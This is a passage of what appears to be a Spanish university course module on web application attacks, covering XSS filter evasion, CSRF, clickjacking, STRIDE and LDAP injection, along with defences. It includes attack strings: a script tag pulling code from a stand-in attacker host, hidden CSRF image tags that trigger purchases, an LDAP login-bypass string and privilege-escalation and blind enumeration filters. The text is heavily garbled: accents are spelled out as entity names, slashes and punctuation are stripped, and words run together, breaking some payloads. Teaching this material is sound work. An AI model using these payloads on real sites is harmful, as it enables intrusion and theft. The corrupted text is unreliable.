Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
